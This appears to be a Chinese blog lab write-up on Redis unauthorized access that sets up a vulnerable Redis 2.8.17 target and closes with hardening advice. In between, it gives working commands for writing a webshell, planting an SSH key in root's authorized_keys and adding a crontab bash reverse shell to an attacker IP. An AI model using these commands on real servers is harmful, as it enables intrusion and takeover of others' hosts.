一、介绍

1.Redis数据库

Redis(Remote Dictionary Server ),即远程字典服务,是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。

2.漏洞介绍

Redis因配置不当可以导致未授权访问,被攻击者恶意利用。当前流行的针对Redis未授权访问的一种新型攻击方式,在特定条件下,如果Redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器,可导致服务器权限被获取和数据删除、泄露或加密勒索事件发生,严重危害业务正常服务。

漏洞产生条件:

(1)redis绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网;

(2)没有设置密码认证(一般为空),可以免密码远程登录redis服务。

漏洞检测:

可以对目标主机使用nmap扫描

若发现主机6379端口是对外开发的,则可以认为有redis数据库。若碰巧默认配置为空密码,而服务器仍然对外开放,则可以在另一个装有redis数据库的主机使用redis-cli -h 目标ip地址 直接远程连接

漏洞危害:

(1)Redis数据泄露

Redis数据表中存储着企业的私有数据,比如一些网站的账户密码、FTP账户密码等,攻击者可以随时查看数据表的内容。

(2)Redis数据销毁

攻击者可以修改redis数据表,增删key项,如调用fluxhall命令清除所有key。

(3)主机系统环境泄露,为后续攻击提供网络信息

例如,使用 info 命令可以查看主机的相关信息,如操作系统环境、目录名、CPU/内存等敏感信息。

(4)结合技术手段控制主机

利用redis未经授权的漏洞,不仅对redis数据构成威胁,而且通过一定的技术手段控制目标主机系统,获得主机控制权。

二、漏洞环境搭建

攻击机:腾讯云服务器 系统:ubuntu 20.04 64位 公网ip地址:49.xxx.xxx.xx

靶机:阿里云服务器 系统:ubuntu 16.04 64位 公网ip地址:101.xxx.xxx.xxx

使用Redis版本:2.8.17

注意:两个云服务器的相关端口要记得打开,否则redis-cli无法连接

1.靶机下载Redis

wget http://download.redis.io/releases/redis-2.8.17.tar.gz

2.解压Redis

tar xzf redis-2.8.17.tar.gz

3.进入安装目录,编译

cd redis-2.8.17/

make



如下图所示,编译成功

4.复制redis-server和redis-cli到/usr/bin/目录

这一步的目的是为了我们可以直接使用该命令,而不必每次都去安装目录执行。

cd src

cp redis-server /usr/bin/

cp redis-cli /usr/bin/

5.启动服务

由于我们使用的redis版本较低,所以不需要修改redis.conf文件,已经满足漏洞利用的条件了,所以直接启动即可。

redis-server &

如图,启动成功!

6.环境搭建完毕,尝试连接

我们再将上述步骤在攻击机里重新布置一次,使攻击机与靶机都安装redis服务。

攻击机进行连接:

redis-cli -h 靶机的ip地址



如图,无账号成功登录redis,漏洞环境已成功复现

三、攻击方式演示

1.写入webshell

配置一个可读可写可执行的导出路径

config set dir /tmp

设置备份名为shell.php的文件且放到存放目录

config set dbfilename shell.php

创建webshell

set webshell "<?php phpinfo(); ?>"

保存

save

查看靶机tmp文件夹,发现shell.php已成功写入

2.写入SSH公钥实现SSH登录

(1)在靶机中执行 mkdir /root/.ssh 命令,创建ssh公钥存放目录(若是靶机使用过ssh服务,则会自动生成/root/.ssh文件目录)

(2)在攻击机中生成ssh公钥和私钥,密码设置为空:

如图,一路回车即可

(3)进入.ssh目录,保存密钥

进入.ssh目录

cd ~/.ssh

将生成的公钥保存到key.txt

(echo -e "\n\n";cat id_rsa.pub;echo -e "\n\n")>key.txt

(4)将保存的key.txt文件内容写入redis

cat /root/.ssh/key.txt | redis-cli -h 靶机ip地址 -x set pub

(5)设置redis的备份路径为:/root/.ssh/

设置上传公钥的备份文件名为:authorized_keys

(6)已成功写入ssh公钥到靶机,测试ssh免密登录。

ssh 靶机ip地址

如图已成功连接

注意:我在用云服务器操作时,redis-cli突然连接不上了,后来发现是我被判定存在攻击行为把我6379端口封禁了,redis换个端口即可解决。

3.在crontab里写定时任务,反弹shell

靶机之前使用的ubuntu系统,演示未成功,更换为centos后重新操作一遍后成功,攻击机未变。

(1)攻击机上监听4444端口

nc -lnvp 4444

(2)新开一个终端,redis-cli连接上后,写入反弹shell

set xx "\n* * * * * bash -i >& /dev/tcp/攻击机ip地址/监听的端口号 0>&1\n"

(3)设置导出的路径

config set dir /var/spool/cron/

(4)设置导出的文件名称

config set dbfilename root

(5)save

成功收到反弹的shell!

四、修复建议

1.网络层加固

指定Redis服务使用的网卡

默认情况下,Redis 监听127.0.0.1. 如果只是本地通信,请务必在本地进行监控。

这种方法可以在一定程度上缓解未经授权访问 Redis 的风险(在特殊情况下,如果 Redis 以 root 用户身份运行,攻击者可以利用现有的 webshell 使用 Redis 反弹 shell 来实现提权)。

在redis.conf文件# bind 127.0.0.1前面找到#删除,然后保存。

注意:此操作需要重启Redis才能生效。2、修改后只有本机可以访问Redis,也可以指定访问源IP访问Redis。

2.设置防火墙策略

如果正常业务需要其他服务器访问Redis服务,可以使用iptables策略,只允许指定IP访问Redis服务。

iptables -A INPUT -s xxxx -p tcp --dport 6379 -j ACCEPT

3.账号与认证

设置访问密码

在redis.conf查找requirepass字段中,删除其注释,并在后面填写密码。Redis 客户端也需要使用这个密码才能访问 Redis 服务。

4.最小化服务操作权限

修改Redis服务运行账号

请使用较低权限的帐号运行 Redis 服务,并禁用该帐号的登录权限。

5.精细化服务授权

隐藏重要命令

Redis 没有权限分离,它的管理员账户和普通账户没有明显的区别。在登录攻击者可以执行任何操作后,需要隐藏以下重要命令:FLUSHDB,FLUSHALL,KEYS,PEXPIRE,DEL,CONFIG,SHUTDOWN,BGREWRITEAOF,BGSAVE,SAVE,SPOP,SREM,RENAME,DEBUG,EVAL.

此外,Redis 2.8.1 和 Redis 3.x(3.0.2 以下)存在 EVAL 沙盒逃逸漏洞,允许攻击者执行任意 Lua 代码。

以下配置config/flushdb/flushall设置为null,即禁用该命令;也可能提供一个复杂的、难以猜测的名称

(1)rename-command CONFIG ""

(2)rename-command flushall ""

(3)rename-command flushdb“”

(4)rename-command shutdown shotdown_test

保存后,执行/etc/init.d/redis-server restart重启生效

(数据库提权——Redis)Redis未授权访问漏洞总结的更多相关文章

  1. UCloud-201809-001:Redis服务未授权访问漏洞安全预警

    UCloud-201809-001:Redis服务未授权访问漏洞安全预警 尊敬的UCloud用户,您好! 发布时间  2018-09-11更新时间  2018-09-11漏洞等级  HighCVE编号 ...

  2. 利用redis未授权访问漏洞(windows版)

    0x00 原理   首先需要知道的是,redis是一种非关系型数据库.它在默认情况下,绑定在0.0.0.0:6379 ,若不采取相关策略,比如添加防火墙限制非信任IP访问,会使得redis服务暴露到公 ...

  3. Redis 未授权访问漏洞(附Python脚本)

    0x01 环境搭建 #下载并安装 cd /tmp wget http://download.redis.io/releases/redis-2.8.17.tar.gz tar xzf redis-.t ...

  4. redis未授权访问漏洞那拿SHELL

    一.什么是redis未授权访问漏洞: 1.redis是一种文档型数据库,快速高效,存储在内存中,定期才会写磁盘.主要用于快速缓存,数据转存处理等.默认redis开在6379端口,可以直接访问.并不需要 ...

  5. 10.Redis未授权访问漏洞复现与利用

    一.漏洞简介以及危害: 1.什么是redis未授权访问漏洞: Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等 ...

  6. Redis未授权访问漏洞复现

    Redis未授权访问漏洞复现 一.漏洞描述 Redis默认情况下,会绑定在0.0.0.0:6379(在redis3.2之后,redis增加了protected-mode,在这个模式下,非绑定IP或者没 ...

  7. [转帖]Redis未授权访问漏洞复现

    Redis未授权访问漏洞复现 https://www.cnblogs.com/yuzly/p/11663822.html config set dirconfig set dbfile xxxx 一. ...

  8. 浅谈Redis未授权访问漏洞

    Redis未授权访问漏洞 Redis是一种key-value键值对的非关系型数据库 默认情况下绑定在127.0.0.1:6379,在没有进行采用相关的策略,如添加防火墙规则避免其他非信任来源ip访问等 ...

  9. Redis未授权访问漏洞复现与利用

    漏洞简介 Redis默认情况下,会绑定在0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源ip访问等,这样将会将Redis服务暴露到公网上,如果在没有设置密码认 ...

  10. [ Redis ] Redis 未授权访问漏洞被利用,服务器登陆不上

    一.缘由: 突然有一天某台服务器远程登陆不上,试了好几个人的账号都行,顿时慌了,感觉服务器被黑.在终于找到一个还在登陆状态的同事后,经查看/ect/passwd 和/etc/passwd-异常,文件中 ...

随机推荐

  1. MATLAB地图工具箱学习心得(一)关于地图分带投影的拼接

    关于matlab地图投影系列: MATLAB地图工具箱学习心得(二)设计可变参数和位置拾取的"放大镜"式投影程序 --- 本学期的地图投影课程已经结束了,这篇博客用于记录自己在学习 ...

  2. 6.2 计划任务crond

    创建.编辑计划任务的命令为crontab -e,查看当前计划任务的命令为crontab -l,删除某条计划任务的命令为crontab -r. 参数 作用 -e 编辑计划任务 -u 指定用户名称 -l ...

  3. FreeRTOS --(11)任务管理之系统节拍

    转载自 https://blog.csdn.net/zhoutaopower/article/details/107146764 前面有了创建任务.启动调度器.任务控制,接下来便开始分析一个 Tick ...

  4. 用漫画了解Linux内核到底长啥样

    一个执着于技术的公众号 原文链接:http://985.so/hRL6 往期精彩 ◆  干货 | 给小白的Nginx10分钟入门指南 ◆  什么是集群?看完这篇你就知道啦! ◆  干货 | Linux ...

  5. Keepalived入门学习

    一个执着于技术的公众号 Keepalived简介 Keepalived 是使用C语言编写的路由热备软件,该项目软件起初是专门为LVS负载均衡设计的,用来管理并监控LVS集群系统中各个服务节点的状态,后 ...

  6. SpringCloud微服务实战——搭建企业级开发框架(四十):使用Spring Security OAuth2实现单点登录(SSO)系统

    一.单点登录SSO介绍   目前每家企业或者平台都存在不止一套系统,由于历史原因每套系统采购于不同厂商,所以系统间都是相互独立的,都有自己的用户鉴权认证体系,当用户进行登录系统时,不得不记住每套系统的 ...

  7. Linux下使用ssh测试端口是否开启

    当服务器上不允许使用telnet时,可以使用ssh测试远程服务器端口是否开启 具体命令如下 -v 显示连接debug信息 -p port 指定端口 ssh -v -p 80 root@192.168. ...

  8. 使用BGP-blackhole解决IDC频繁遭受DDOS攻击困扰

    项目背景 该项目位于某市级BGP IDC机房,机房客户多为web业务,遭受小流量攻击(10G量级)较为频繁,针对这一现象在机房core旁路部署ADS系统,牵引异常流量清洗后进行回源,该清洗方案在此不再 ...

  9. 透过实例demo带你认识gRPC

    摘要:gRPC是基于定义一个服务,指定一个可以远程调用的带有参数和返回类型的的方法.在服务端,服务实现这个接口并且运行gRPC服务处理客户端调用. 本文分享自华为云社区<gRPC介绍以及spri ...

  10. 性能测试:tcpcopy

    简介 TCPCopy是一种请求复制(所有基于tcp的packets)工具,可以把在线流量导入到测试系统中去. 曾经应用于网易的广告投放系统,urs系统,nginx hmux协议等系统,避免了上线带来的 ...